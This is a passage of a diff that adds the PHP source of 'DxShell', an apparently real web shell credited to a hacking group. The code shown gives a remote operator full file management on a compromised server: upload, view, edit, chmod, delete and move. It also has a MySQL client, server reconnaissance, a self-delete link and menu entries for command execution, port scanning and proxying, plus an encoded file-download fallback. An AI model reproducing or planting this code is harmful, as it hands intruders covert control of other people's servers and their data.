{color: #FFFF00; cursor:crosshair;} +span.margin {margin: 0pt 10pt;} +td.error {color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;} +td.warning {color:#000000; background-color: #D00000; font-size: 11pt;} +font.img_replacer {margin:1pt;padding:1pt;text-decoration: none;border-width:1pt;border-color:#D0D000;border-style:solid;} +</style> + +<?php +if (in_array($_GET['dxmode'], array('UPL', 'DIR', 'PRT'))) + { /* THIS FLOATING WINDOW IS ONLY SET FOR MODES: */ +?> +<SCRIPT> +var dom = document.getElementById?1:0; +var ie4 = document.all && document.all.item; +var opera = window.opera; //Opera +var ie5 = dom && ie4 && !opera; +var nn4 = document.layers; +var nn6 = dom && !ie5 && !opera; +var vers=parseInt(navigator.appVersion); +var good_browser = (ie5 || ie4); +function showwin(hdr,txt,w,vis) +{ +if(good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + var temp = + "<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="+ w +">" + +((hdr!='')?("<TR><TD class=js_floatwin_header>"+ hdr + "</TD></TR>"):"") + +"<TR><TD class=js_floatwin_body>" + txt + "</TD></TR>" + +"</TABLE>"; + + if (vis == 1) + { + obj.innerHTML = temp; + obj.style.width = w; + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + + obj.style.visibility = "visible"; + } + else + { + obj.style.visibility = "hidden"; + obj.style.posTop = 0; + obj.style.posLeft = 0; + } + } +} +function movewin() +{ +if (good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + } +} +</SCRIPT> +<?php } /* /END */?> + +</head> +<body> +<?php +if ($DXGLOBALSHIT) /* tries to kill all the fucking bug.php pre-output, if ob_clean() failed */ + { + print str_repeat("\n", 10).'<!--SHIT KILLER-->'; + print "\n".'</body></a>'.str_repeat('</table>', 5).str_repeat('</div>', 5).str_repeat('</span>', 5).str_repeat('</pre>', 1).str_repeat('</font>', 5).str_repeat('</script>', 2); + print "\n".'<TABLE WIDTH=100% BORDER=0 style="position:absolute;z-index:100;top:0pt;left:0pt;width:100%;height:100%;"><tr><td>'; + print "\n\n\n\n"; + } +?> + +<div id="js_floatwin" style="z-index:50;position:absolute;left:0;top:0;visibility:hidden"></div> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><a href="<?=DxURL('kill', '');?>&dxmode=WTF" class=no><h1>DxShell<br>v<?=$GLOB['SHELL']['Ver'];?></td> + <td> +<?php +print "\n".'<div style="margin-right:'.( ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)?'100':'30' ).'pt;">'; +print "\n".( ($DXGLOBALSHIT)?'<font color=#FF0000><b>GLOBALSHIT</b></font> ; ':'' ); +print "\n".DxPrint_ParamState('php_ver', phpversion() ).' ; '; +print "\n".DxPrint_ParamState('php_Safe_Mode', $GLOB['PHP']['SafeMode'], '!' ).' ; '; +print "\n".DxPrint_ParamState('magic_quotes', (bool)get_magic_quotes_gpc(), '!' ).' ; '; +print "\n".DxPrint_ParamState('gZip', function_exists('gzencode') ).' ; '; +print "\n".DxPrint_ParamState('cURL', function_exists('curl_version') ).' ; '; +print "\n".DxPrint_ParamState('MySQL', function_exists('mysql_connect') ).' ; '; +print "\n".DxPrint_ParamState('MsSQL', function_exists('mssql_connect') ).' ; '; +print "\n".DxPrint_ParamState('PostgreSQL', function_exists('pg_connect') ).' ; '; +print "\n".DxPrint_ParamState('Oracle', function_exists('ocilogon') ).' ; '; +print "\n".'Disabled functions: '.((($df=@ini_get('disable_functions'))=='')?'<font color=#00FF00><b>NONE</b></font>':'<font color=#FF0000><b>'.str_replace(array(',',';'), ', ', $df).'</b></font>'); +print "\n".'</div>'; + +print "\n\n".'<span align=right style="position:absolute;z-index:1;right:0pt;top:0pt;"><table><tr><td class="h2_oneline"><nobr>'; +if ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2) + print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=logoff" title="Log Off" class=no>[Exit]</a>'; +print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=DEL" title="Delete self ('.basename($_SERVER['PHP_SELF']).')" class=no><font color=#FF0000;>'.DxImg('del').'</font></a>'; +print "\n".'</nobr></td></tr></table></span>'; + +print "\n\n".'<hr>'; +print "\n".'Disk free: <b>'.DxStr_FmtFileSize(disk_free_space($GLOB['FILES']['CurDIR'])).' / '.DxStr_FmtFileSize(disk_total_space($GLOB['FILES']['CurDIR'])).'</b> ; '; +print "\n".'OS: <b>'.$GLOB['SYS']['OS']['id'].' ('.$GLOB['SYS']['OS']['Full'].' )</b> ; '; +print "\n".'Yer_IP: <b>'.@$_SERVER['REMOTE_ADDR'].' ('.@$_SERVER['REMOTE_HOST'].')</b> ; '; +print "\n".'<nobr>Own/U/G/Pid/Inode:<wbr><b>'.get_current_user().' / '.getmyuid().' / '.getmygid().' / '.getmypid().' / '.getmyinode().'</b> ; </nobr>'; +print "\n".'MySQL : <b>'.@mysql_get_server_info().'</b> ; '; +print "\n".'<br>'.@$_SERVER['SERVER_SOFTWARE']; +?> + </td> +</table> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><h2>Modes</td> + <td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=DIR">DIR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=F_VIEW">VIEW</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=FTP<?=((!empty($_GET['dxdir']))?'&dxdir='.$_GET['dxdir']:'');?>">FTP</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('leave', 'dxsql_s,dxsql_l,dxsql_p,dxsql_d');?>&dxmode=SQL">SQL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PHP">PHP</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=COOK">COOKIE</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=CMD">CMD</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=MAIL">MAIL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=STR">STR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PRT">PORTSCAN</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=SOCK">SOCK</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PROX">PROXY</a> + </td> + </tr> +</table> + +<?php $DX_Header_drawn=true; ?> + +<?php +################################################# +######## +######## DXGLOBALSHIT DOWNLOADER +######## +if (isset($DxDOWNLOAD_File)) /* only when DXGLOBALSHIT is enabled */ + { + print "\n".'<table align=center><tr><td class=mode_header><b>Download file</td></tr></table>'; + print "\n".'The fact you see this means that "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit, so no headerz could be sent =(('; + print "\n".'<br>Exclusively, DxShell is proud to present an additional way to download files...Just execute the php-script given below, and it will make the file u\'re trying to download'; + + if ($GLOB['SYS']['GZIP']['CanUse']) $DxDOWNLOAD_File['content']=gzcompress($DxDOWNLOAD_File['content'], 6); + + print "\n\n".'<br><br>'; + print "\n".'<textarea rows=30 style="width:90%" align=center>'; + print "\n".'<?php'."\n".' //Execute this, and you\'ll get the requested "'.$DxDOWNLOAD_File['filename'].'" in the same folder with the script ;)'; + print "\n".'// The file is '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzcompress()ed and':'' ).' base64_encode()ed'; + print "\n\n".'$encoded_file=\''.base64_encode($DxDOWNLOAD_File['content']).'\';'; + print "\n\n\n\n"; + print "\n".'$f=fopen(\''.$DxDOWNLOAD_File['filename'].'\', \'w\');'; + print "\n".'fputs($f, '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzuncompress(base64_decode($encoded_file))':'base64_decode($encoded_file)' ).');'; + print "\n".'fclose($f);'; + print "\n".'//Yahoo, hacker, the file is here =)'; + print "\n".'?>'; + print "\n".'</textarea>'; + die(); + } + +?> + +<table align=center> + <tr><td class=mode_header> + @MODE: <b><?=$GLOB['DxMODES'][$_GET['dxmode']];?> + </td></tr></table> +<? + +######## +######## AboutBox +######## +if ($_GET['dxmode']=='WTF') + { + ?> +<table align=center class=nooooneblya><tr><td><div align=center> +<?php +print '<a href="http://hellknights.void.ru/">'.DxImg('exec').'</a>'; +print '<br>o_O Tync, ICQ# 1227-700'; +?><br><br> +<textarea name="LolBox" class=bout style="width:500pt; height:500pt;"></textarea></table> +<SCRIPT language=Javascript><!-- +var tl=new Array( +"Kilobytes of c0de, litres of beer, kilometers of cigarettes (*no drugs*), and for what purpose?", +"What's wrong with other shells?", +"Usability, functionality, bugs?... NO.", +"The main bug is: these shells ARE NOT mine =)", +"Just like to be responsible for every motherfucking byte of code.", +"Enjoy!", +"-----------------------------------", +"o_O Tync, http://hellknights.void.ru/, ICQ# 1227-700", +"DxShell v<?=$GLOB['SHELL']['Ver'].', date '.$GLOB['SHELL']['Date'];?>", +"", +"Greetz to: ", +"iNfantry the Ruler", +"Nik8 the Hekker", +"_1nf3ct0r_ the Father", +"Industry of Death the betatest0r =)", +"", +"Thanks to:", +"Dunhill the cigarettes, Tuborg the beer, PHP the language, Nescafe the Coffee, Psychedelic the Music", +"", +"Wartime testers & debuggers ::: =))) :::", +"MINDGROW", +"BELLFAGOR", +"", +"", +"Hekk da pl0net!", +"--- EOF ---" +); +var speed=40;var index=0; text_pos=0;var str_length=tl[0].length;var contents, row; +function type_text() +{ +contents='';row=Math.max(0,index-50); +while(row<index) contents += tl[row++] + '\r\n'; +document.getElementById("LolBox").value = contents + tl[index].substring(0,text_pos)+'|'; +if(text_pos++==str_length) + {text_pos=0;index++; + if(index!=tl.length) + {str_length=tl[index].length;setTimeout("type_text()",1000); + } + } else setTimeout("type_text()",speed); +}type_text(); +//--> +</SCRIPT> + <?php + } + + + ################################### + +######## +######## Upload file +######## +if ($_GET['dxmode']=='UPL') + { + if (empty($_POST['dxdir']) AND empty($_GET['dxdir'])) die(DxError('Uploading without selecting directory $_POST/$_GET[\'dxdir\'] is restricted')); + + if (isset($_FILES['dx_uplfile']['tmp_name'])) + { + $GETFILE=file_get_contents($_FILES['dx_uplfile']['tmp_name']); + DxFiles_UploadHere($_POST['dxdir'], $_FILES['dx_uplfile']['name'], $GETFILE); + } + else + { + print "\n".'<form action="'.DxURL('leave','dxmode,dxsimple').'" enctype="multipart/form-data" method=POST>'; + print "\n".'<input type="hidden" name="MAX_FILE_SIZE" value="'.$GLOB['PHP']['upload_max_filesize'].'">'; + print "\n".'<font class="highlight_txt">Max: '.DxStr_FmtFileSize($GLOB['PHP']['upload_max_filesize']).'</font>'; + print "\n".'<br><input type=text name="dxdir" value="'.$_GET['dxdir'].'" SIZE=50>'; + print "\n".'<br><input type=file name="dx_uplfile" SIZE=50>'; + print "\n".'<input type=submit value="Upload" class="submit"></form>'; + } + } + + ################################### + +######## +######## Directory listings +######## +if ($_GET['dxmode']=='DIR') + { + if (empty($_GET['dxdir'])) $_GET['dxdir']=realpath($GLOB['FILES']['CurDIR']); + $_GET['dxdir']=DxFileOkaySlashes($_GET['dxdir']); + if (substr($_GET['dxdir'], -1,1)!='/') $_GET['dxdir'].='/'; + + print "\n".'<br><form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<input type=text name="dxdir" value="'.DxFileOkaySlashes(realpath($_GET['dxdir'])).'" SIZE=40>'; + print "\n".'<input type=submit value="Goto" class="submit"></form>'; + + print "\n".'<br>'.'<b>&gt;&gt; <b>'.$_GET['dxdir'].'</b>'; + if (!file_exists($_GET['dxdir'])) die(DxError('No such directory')); + if (!is_dir($_GET['dxdir'])) die(DxError('It\'s a file!! What do you think about listing files in a file? =)) ')); + + if (isset($_GET['dxparam'])) + { + if ($_GET['dxparam']=='mkDIR') if ( !mkdir($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkDir. Perms?'); + if ($_GET['dxparam']=='mkFILE') if ( !touch($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkFile. Perms?'); + } + + if (!($dir_ptr=opendir($_GET['dxdir']))) die(DxError('Unable to open dir for reading. Perms?...')); + $FILES=array('DIRS' => array(), 'FILES' => array()); + while (!is_bool( $file = readdir($dir_ptr) ) ) + if (($file!='.') and ($file!='..')) if (is_dir($_GET['dxdir'].$file)) $FILES['DIRS'][]=$file; else $FILES['FILES'][]=$file; + asort($FILES['DIRS']);asort($FILES['FILES']); + + print "\n".'<span style="position:absolute;right:0pt;">'; + if (isset($_GET['dxdirsimple'])) print '<a href="'.DxURL('kill', 'dxdirsimple').'">[Switch to FULL]</a>'; + else print '<a href="'.DxURL('leave', '').'&dxdirsimple=1">[Switch to LITE]</a>'; + print '</span>'; + + $folderup_link=explode('/',$_GET['dxdir'].'../'); + if (!empty($folderup_link[ count($folderup_link)-3 ]) AND ($folderup_link[ count($folderup_link)-3 ]!='..')) + unset($folderup_link[ count($folderup_link)-3 ], $folderup_link[ count($folderup_link)-1 ]); + $folderup_link=implode('/', $folderup_link); + print "\n".str_repeat('&nbsp;',3).'<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.$folderup_link.'" class=no>' + .DxImg('foldup').' ../</a>'; + + print "\n".str_repeat('&nbsp;', 15).'<font class=highlight_txt>MAKE: </font>' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkDIR">Dir</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkFILE">File</a>' + .' / '.str_repeat('&nbsp;',5) + .'<font class=highlight_txt>UPLOAD: </font>' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">Form</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">FTP</a>' + ; + + print "\n".'<br>'.count($FILES['DIRS']).' dirs, '.count($FILES['FILES']).' files '; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 ><COL span=15 class="linelisting">'; + for ($NOWi=0;$NOWi<=1;$NOWi++) + for ($NOW=($NOWi==0)?'DIRS':'FILES', $i=0;$i<count($FILES[$NOW]);$i++) + { + $cur=&$FILES[$NOW][$i]; + $dircur=$_GET['dxdir'].$cur; + print "\n".'<tr>'; + print "\n\t".'<td class=linelisting '.((isset($_GET['dxdirsimple']) AND ($NOW=='DIRS'))?'colspan=2':'').'>' + .(($NOW=='DIRS')?DxImg('folder').' ' + . '<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.DxFileToUrl($dircur).'" class=no>':'') + .(($NOW=='FILES')?'<a href="'.DxURL('kill', '').'&dxmode=F_VIEW&dxfile='.DxFileToUrl($dircur).'" class=no>':'') + .htmlspecialchars($cur).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + print "\n\t".'<td class=linelisting>' + .'<span '.DxDesign_DrawBubbleBox('File Info', '<b>Create time:</b><br>'.DxDate(@filectime($dircur)).'<br>' + .'<b>Modify time:</b><br>'. DxDate(@filemtime($dircur)).'<br>' + .'<b>Owner/Group:</b><br>'.(@fileowner($dircur)).' / '.(@filegroup($dircur)) + , 150).' class=Hover><b>INFO</span> </td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=2':'').'>' + .((($i+$NOWi)==0)?'<span '.DxDesign_DrawBubbleBox('Perms legend', '1st: sticky bit:<br>"<b>S</b>" Socket, "<b>L</b>" Symbolic Link, "<b>&lt;empty&gt;</b>" Regular, "<b>B</b>" Block special, "<b>D</b>" Directory, "<b>C</b>" Character special, "<b>P</b>" FIFO Pipe, "<b>?</b>" Unknown<br>Others: Owner/Group/World<br>"<b>r</b>" Read, "<b>w</b>" Write, "<b>x</b>" Execute<br><br><b>Click to CHMOD', 400).' class=Hover>':'') + .'<a href="'.DxURL('kill', '').'&dxmode=F_CHM&dxfile='.DxFileToUrl($dircur).'" class=no>'.DxChmod_Oct2Str(@fileperms($dircur)).'</td>'; + } + + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting style="text-align:right;">'.DxStr_FmtFileSize(@filesize($dircur)).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + if ($NOW=='DIRS') print "\n\t".'<td class=linelisting colspan='.(($GLOB['SYS']['GZIP']['IMG'])?'4':'3').'>&nbsp;</td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($dircur).'" target=_blank>'.DxImg('view').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($dircur).'">'.DxImg('ed').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('downl').'</a></td>'; + if (($NOW!='DIRS') AND ($GLOB['SYS']['GZIP']['IMG'])) print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dx_gzip=Yeah&dxfile='.DxFileToUrl($dircur).'">'.DxImg('gzip').'</a></td>'; + print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_REN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('rename').'</a></td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=3':'').'><a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($dircur).'">'.DxImg('del').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_COP&dxfile='.DxFileToUrl($dircur).'">'.DxImg('copy').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_MOV&dxfile='.DxFileToUrl($dircur).'">'.DxImg('move').'</a></td>'; + } + print "\n\t".'</tr>'; + } + print "\n".'</table>'; + } + + +######## +######## File Global Actions +######## +if ('F_'==substr($_GET['dxmode'],0,2)) + { + if (empty($_GET['dxfile'])) + { + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', ''); + print "\n".'<input type=text name="dxfile" value="" style="width:70%;">'; + print "\n".'<br><input type=submit value="Select" class="submit">'; + print "\n".'</form>'; + } + if (!file_exists(@$_GET['dxfile'])) die(DxError('No such file')); + print "\n\n".'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + +######## +######## File CHMOD +######## +if ($_GET['dxmode']=='F_CHM') + { + if (isset($_GET['dxparam'])) + { + if (chmod($_GET['dxfile'], octdec((int)$_GET['dxparam']))==FALSE) + print DxError('Chmod "'.$_GET['dxfile'].'" failed'); + else print 'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</b></font> )...<b>OK</b>'; + } + else + { + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'CHMOD( <font class=highlight_txt>'.$_GET['dxfile'].'</font> )'; + print "\n".'<br><input type=text name="dxparam" value="'. + //decoct(fileperms($_GET['dxfile'])) + substr(sprintf('%o', fileperms($_GET['dxfile'])), -4) + .'">'; + print "\n".'<input type=submit value="chmod" class="submit"></form>'; + } + } + +######## +######## File View +######## +if ($_GET['dxmode']=='F_VIEW') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=right><tr>'; + print "\n".'<td><h3>'.$_GET['dxfile'].'</h3></td>'; + print "\n".'<td>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'" target=_blank>'.DxImg('view').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('ed').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('downl').'</a>' + .'<a href="'.DxURL('kill', '').'&dxmode=F_DEL&dxfile='.DxFileToUrl($_GET['dxfile']).'">'.DxImg('del').'</a>' + .'</td>'; + print "\n".'</tr></table><br>'; + print "\n".'Tip: to view the file "as is" - open the page in <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($_GET['dxfile']).'">source</a> (<i>works best in Opera</i>), or <a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($_GET['dxfile']).'">download</a> this file'; + + print "\n\n\n".'<br><hr><!-- File contents goes from here -->'."\n"; + print "\n".'<plaintext>'; + print file_get_contents($_GET['dxfile']); + die(); /* Plaintext is infinite */ + } + +######## +######## File Edit +######## +if ($_GET['dxmode']=='F_ED') + { + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + if (isset($_POST['dxparam'])) + { + if (!is_writable($_GET['dxfile'])) die(DxError('File is not writable. Perms?...')); + if (($f=fopen($_GET['dxfile'], 'w'))===FALSE) die(DxError('File open for WRITE failed')); + if (fputs($f, $_POST['dxparam'])===FALSE) die(DxError('I/O: File write failed')); + fclose($f); + print 'File saved OK;'; + } + else + { + if (!is_readable($_GET['dxfile'])) die(DxError('File is not readable. Perms?...')); + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); + print "\n".'<font class=highlight_txt>'.$_GET['dxfile'].'</font>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxparam" rows=30 style="width:90%;">'.str_replace(array('<','>'),array('&lt;','&gt;'), file_get_contents($_GET['dxfile'])).'</textarea>'; + print "\n".'<br><input type=submit value="Save" style="width:100pt;height:50pt;font-size:15pt;" class=submit>'; + print "\n".'</form>'; + } + } + +######## +######## File Delete +######## +if ($_GET['dxmode']=='F_DEL') + { + if (isset($_GET['dx_ok'])) + { + if ($_GET['dx_ok']=='Yes') + { + if ( (is_file($_GET['dxfile']) AND !unlink($_GET['dxfile'])) OR (is_dir($_GET['dxfile']) AND !rmdir($_GET['dxfile'])) ) + print DxError('Unable to delete file. Perms?...<br>'); + else + { + print "\n".'Delete( <font class=highlight_txt>'.$_GET['dxfile'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxfile'); + print "\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><tr><td>' + ."\n".'<font class=achtung>(!)</font> Do you really want to <font class=highlight_txt>DELETE '.$_GET['dxfile'].'</font> ?' + ."\n".'<div align=right><input type=submit name="dx_ok" value="No" class=bt_No><input type=submit name="dx_ok" value="Yes" class=bt_Yes>' + ."\n".'</td></tr></table>'; + print "\n".'</form>'; + } + } + +######## +######## File Rename +######## +if ($_GET['dxmode']=='F_REN') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], dirname($_GET['dxfile']).'/'.$_POST['dxparam'])) + print DxError('Unable to rename. Perms?...<br>'); + else + { + print "\n".'Rename( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.dirname($_GET['dxfile']).'/'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + else + { + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.basename($_GET['dxfile']).'" style="width:80%">'; + print "\n".'<input type=submit value="Rename" class="submit"></form>'; + } + } + +######## +######## File Copy +######## +if ($_GET['dxmode']=='F_COP') + { + if (!is_file($_GET['dxfile'])) die(DxError('Don\'t even think about copuing directories! =))')); + + $newname=$_GET['dxfile'].'__DxS_COPY_'.DxRandomChars(3); + if (($extpos=strrpos($_GET['dxfile'], '.'))>strrpos($_GET['dxfile'], '/')) /* file has an extension */ + $newname=substr($_GET['dxfile'], 0, $extpos).'__DxS_COPY_'.DxRandomChars(3).substr($_GET['dxfile'], $extpos); + print $newname; + if (!copy($_GET['dxfile'], $newname)) + print DxError('Unable to copy. Perms?...<br>'); + else + { + print "\n".'Copy( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$newname.'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile']))); + } + } + +######## +######## File Move +######## +if ($_GET['dxmode']=='F_MOV') + { + if (isset($_POST['dxparam'])) + { + if (!rename($_GET['dxfile'], $_POST['dxparam'])) + print DxError('Unable to rename. Perms? Or no path?...<br>'); + else + { + print "\n".'Move( <font class=highlight_txt>'.$_GET['dxfile'].'</font> -> <font class=highlight_txt>'.$_POST['dxparam'].'</font> ) <b>OK</b>'; + DxGotoURL(DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_POST['dxparam']))); + } + } + else + { + if (!is_writable($_GET['dxfile'])) DxWarning('File is not writable!'); + print "\n".'<form action="'.DxURL('leave', 'dxmode,dxfile').'" method=POST>'; + print "\n".'<input type=text name="dxparam" value="'.DxFileOkaySlashes(realpath($_GET['dxfile'])).'" style="width:80%">'; + print "\n".'<input type=submit value="M0ve" class="submit"></form>'; + } + } + +if (substr($_GET['dxmode'],0,2)=='F_') + {/* file actions */ + print "\n\n".'<br><br>'.'<a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($_GET['dxfile'])).'">[Go DIR]</a>'; + } + + ################################### + +######## +######## SQL Maintenance +######## +if ($_GET['dxmode']=='SQL') + { + if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'])) + { + print "\n".'<h2>MySQL connection</h2>'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET align=center>'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<br>Serv: <input type=text name="dxsql_s" value="localhost" style="width:200pt">'; + print "\n".'<br>Login:<input type=text name="dxsql_l" value="" style="width:200pt">'; + print "\n".'<br>Passw:<input type=password name="dxsql_p" value="" style="width:200pt">'; + print "\n".'<br><input type=submit value="C0nnect" class="submit" style="width:200pt;"></form>'; + die(); + } + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + $mysqlver=mysql_fetch_row(mysql_query("SELECT VERSION()")); + print str_repeat('&nbsp;',15).'MySQL version: <font class="highlight_txt">'.$mysqlver[0].'</font>'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW DATABASES;', true), $DATABASES, true); + for ($i=0;$i<count($DATABASES);$i++) + $DATABASES[$i][1]=mysql_num_rows(DxMySQLQ('SHOW TABLES FROM `'.$DATABASES[$i][0].'`;', false)); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0>' + .'<tr><td class=h2_oneline><h1>DB:</h1></td>'; + if (!isset($_GET['dxsql_d'])) + { + print "\n".'<td class=h2_oneline style="border-width:0pt;">'; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET>'; + DxGETinForm('leave', 'dxmode,dxsql_s,dxsql_l,dxsql_p'); + print "\n".'<SELECT name="dxsql_d" onchange="this.form.submit()">'; + print "\n\t".'<OPTION value="">&lt;Server&gt;</OPTION>'; + for ($i=0;$i<count($DATABASES);$i++) + print "\n\t".'<OPTION value="'.$DATABASES[$i][0].'">' + .'['.DxZeroedNumber($DATABASES[$i][1],3).']'.' '.$DATABASES[$i][0] + .'</OPTION>'; + print "\n".'</SELECT><input type=submit value="-&gt;" class=submit"></form></td>'; + print "\n".'</tr></table>'; + die(); + } + else print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxsql_d').'" class=no>[CH]</a></td>' + .'<td 